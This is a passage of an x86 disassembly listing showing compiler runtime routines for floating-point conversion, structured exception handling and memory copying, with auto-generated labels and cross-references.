		mov	off_43D42C, offset sub_42217B
		mov	off_43D430, offset sub_422223
		mov	off_43D434, eax
		retn
sub_41D13C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D174	proc near		; CODE XREF: sub_40D2F4+1Bp
					; sub_40D2F4+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41D174	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41D19B(double)

sub_41D19B	proc near		; CODE XREF: sub_40D340+82p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43AE28
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41D221
		call	sub_421F51
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41D204
		cmp	eax, 2
		jle	short loc_41D1F6
		cmp	eax, 3
		jnz	short loc_41D204
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_421861
		add	esp, 10h
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D1F6:				; CODE XREF: sub_41D19B+3Fj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D204:				; CODE XREF: sub_41D19B+3Aj
					; sub_41D19B+44j
		fld	[ebp+arg_0]
		fadd	dbl_4276F8
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41D25E
; ---------------------------------------------------------------------------


loc_41D221:				; CODE XREF: sub_41D19B+2Fj
		call	sub_421F16
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41D244


loc_41D236:				; CODE XREF: sub_41D19B+ACj
		push	esi
		push	ebx
		call	sub_422089
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41D266
; ---------------------------------------------------------------------------


loc_41D244:				; CODE XREF: sub_41D19B+99j
		test	bl, 20h
		jnz	short loc_41D236
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41D25E:				; CODE XREF: sub_41D19B+84j
		call	sub_4218B4
		add	esp, 1Ch


loc_41D266:				; CODE XREF: sub_41D19B+59j
					; sub_41D19B+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41D19B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D26A	proc near		; CODE XREF: ___:00422A22p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41D26A	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41D29E	proc near		; CODE XREF: sub_422B62+199p
					; sub_422D26+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D29E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D2A5	proc near		; CODE XREF: sub_422B62+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41D2A5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D2AC	proc near		; CODE XREF: sub_41D45E+5Cp
					; sub_4229B1:loc_4229E2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41D2D4
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_426356
sub_41D2AC	endp

; ---------------------------------------------------------------------------


loc_41D2D4:				; DATA XREF: sub_41D2AC+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41D2FB:				; CODE XREF: ___:00426AACj
					; ___:00426AC9j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_4225B6
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D331	proc near		; CODE XREF: sub_422A2C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41D385
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422DB0
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41D331	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D385	proc near		; DATA XREF: sub_41D331+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		pop	ebp
		retn
sub_41D385	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D3AA	proc near		; CODE XREF: sub_4227F8+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41D45E
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41D430
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBE70
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41D430:				; DATA XREF: sub_41D3AA+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41D44D
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41D456
; ---------------------------------------------------------------------------


loc_41D44D:				; CODE XREF: sub_41D3AA+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41D456:				; CODE XREF: sub_41D3AA+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D3AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D45E	proc near		; DATA XREF: sub_41D3AA+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41D481
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41D4CE
; ---------------------------------------------------------------------------


loc_41D481:				; CODE XREF: sub_41D45E+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_4225B6
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41D4BF
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41D2AC
; ---------------------------------------------------------------------------


loc_41D4BF:				; CODE XREF: sub_41D45E+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41D4CE:				; CODE XREF: sub_41D45E+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41D45E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D4D3	proc near		; CODE XREF: sub_422651+C6p
					; sub_4227F8+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41D52A


loc_41D4F1:				; CODE XREF: sub_41D4D3+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D4FB
		call	sub_422E52


loc_41D4FB:				; CODE XREF: sub_41D4D3+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41D510
		cmp	ecx, [eax+8]
		jle	short loc_41D515


loc_41D510:				; CODE XREF: sub_41D4D3+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41D521


loc_41D515:				; CODE XREF: sub_41D4D3+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41D521:				; CODE XREF: sub_41D4D3+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41D4F1
		mov	eax, [ebp+var_4]


loc_41D52A:				; CODE XREF: sub_41D4D3+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41D53E
		cmp	esi, eax
		jbe	short loc_41D543


loc_41D53E:				; CODE XREF: sub_41D4D3+65j
		call	sub_422E52


loc_41D543:				; CODE XREF: sub_41D4D3+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41D4D3	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41D550	proc near		; CODE XREF: sub_423CC0+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41D568
		push	[ebp+arg_0]
		call	sub_426356
sub_41D550	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D568	proc near		; DATA XREF: sub_41D550+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41D568	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D570	proc near		; DATA XREF: sub_41D592+Ao
					; sub_41D5FA+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41D591
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41D591:				; CODE XREF: sub_41D570+10j
		retn
sub_41D570	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D592	proc near		; CODE XREF: sub_422AD2+Dp
					; sub_423CC0+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41D570
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41D5AF:				; CODE XREF: sub_41D592:loc_41D5EAj
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41D5EC
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41D5EC
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41D5EA
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41D626
		call	dword ptr [ebx+esi*4+8]


loc_41D5EA:				; CODE XREF: sub_41D592+44j
		jmp	short loc_41D5AF
; ---------------------------------------------------------------------------


loc_41D5EC:				; CODE XREF: sub_41D592+2Aj
					; sub_41D592+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41D592	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D5FA	proc near		; CODE XREF: sub_422AF2+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41D570
		jnz	short locret_41D61C
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41D61C
		mov	eax, 1

locret_41D61C:				; CODE XREF: sub_41D5FA+10j
					; sub_41D5FA+1Bj
		retn
sub_41D5FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D61D	proc near		; CODE XREF: sub_422DB0+1Ep
					; sub_422DB0+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		jmp	short loc_41D630
sub_41D61D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D626	proc near		; CODE XREF: sub_41D592+4Fp
					; sub_423CC0+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43AE2C
		mov	ecx, [ebp+8]


loc_41D630:				; CODE XREF: sub_41D61D+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41D626	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D640	proc near		; CODE XREF: sub_40D340+5p
					; sub_40D4E2+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41D640	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41D65F	proc near		; CODE XREF: sub_40D977+26p
					; ___:004260F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41BA91
		pop	ecx
		retn
sub_41D65F	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D670	proc near		; CODE XREF: sub_40D9E8+3Ap
					; sub_41E742+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41D690
		cmp	edi, eax
		jb	loc_41D808


loc_41D690:				; CODE XREF: sub_41D670+16j
		test	edi, 3
		jnz	short loc_41D6AC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------


loc_41D6AC:				; CODE XREF: sub_41D670+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41D6C4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41D6CC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D6C4:				; CODE XREF: sub_41D670+46j
		jmp	dword ptr loc_41D7C8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D6CC:				; CODE XREF: sub_41D670+31j
					; sub_41D670+8Ej ...
		jmp	off_41D74C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D6E0
		dd offset loc_41D70C
		dd offset loc_41D730
; ---------------------------------------------------------------------------


loc_41D6E0:				; DATA XREF: sub_41D670+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D70C:				; DATA XREF: sub_41D670+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D730:				; DATA XREF: sub_41D670+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41D6CC
		rep movsd
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D74C	dd offset loc_41D7AF	; DATA XREF: sub_41D670:loc_41D6CCr
		dd offset loc_41D79C
		dd offset loc_41D794
		dd offset loc_41D78C
		dd offset loc_41D784
		dd offset loc_41D77C
		dd offset loc_41D774
		dd offset loc_41D76C
; ---------------------------------------------------------------------------


loc_41D76C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41D774:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41D77C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41D784:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41D78C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41D794:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41D79C:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D7AF:				; CODE XREF: sub_41D670:loc_41D6CCj
					; DATA XREF: sub_41D670:off_41D74Co
		jmp	off_41D7B8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41D7B8	dd offset loc_41D7C8	; DATA XREF: sub_41D670+35r
					; sub_41D670+92r ...
		dd offset loc_41D7D0
		dd offset loc_41D7DC
		dd offset loc_41D7F0
; ---------------------------------------------------------------------------


loc_41D7C8:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7D0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D7DC:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41D7F0:				; CODE XREF: sub_41D670+35j
					; sub_41D670+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D808:				; CODE XREF: sub_41D670+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41D83C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41D830:				; CODE XREF: sub_41D670+1B1j
					; sub_41D670+208j ...
		neg	ecx
		jmp	off_41D900[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41D83C:				; CODE XREF: sub_41D670+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41D854
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41D854+4[eax*4]
; ---------------------------------------------------------------------------


loc_41D854:				; CODE XREF: sub_41D670+1D6j
					; DATA XREF: sub_41D670+1DDr
		jmp	off_41D950[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		push	880041D8h
		fadd	dword ptr [ecx+0]
		mov	al, 0D8h
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41D830
		std
		rep movsd
		cld
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41D904
		dd offset loc_41D90C
		dd offset loc_41D914
		dd offset loc_41D91C
		dd offset loc_41D924
		dd offset loc_41D92C
		dd offset loc_41D934
off_41D900	dd offset loc_41D947	; DATA XREF: sub_41D670+1C2r
; ---------------------------------------------------------------------------


loc_41D904:				; DATA XREF: sub_41D670+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41D90C:				; DATA XREF: sub_41D670+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41D914:				; DATA XREF: sub_41D670+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41D91C:				; DATA XREF: sub_41D670+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41D924:				; DATA XREF: sub_41D670+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41D92C:				; DATA XREF: sub_41D670+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41D934:				; DATA XREF: sub_41D670+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41D947:				; CODE XREF: sub_41D670+1C2j
					; DATA XREF: sub_41D670:off_41D900o
		jmp	off_41D950[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41D950	dd offset loc_41D960	; DATA XREF: sub_41D670+1B7r
					; sub_41D670:loc_41D854r ...
		dd offset loc_41D968
		dd offset loc_41D978
		dd offset loc_41D98C
; ---------------------------------------------------------------------------


loc_41D960:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D968:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D978:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41D98C:				; CODE XREF: sub_41D670+1B7j
					; sub_41D670:loc_41D854j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
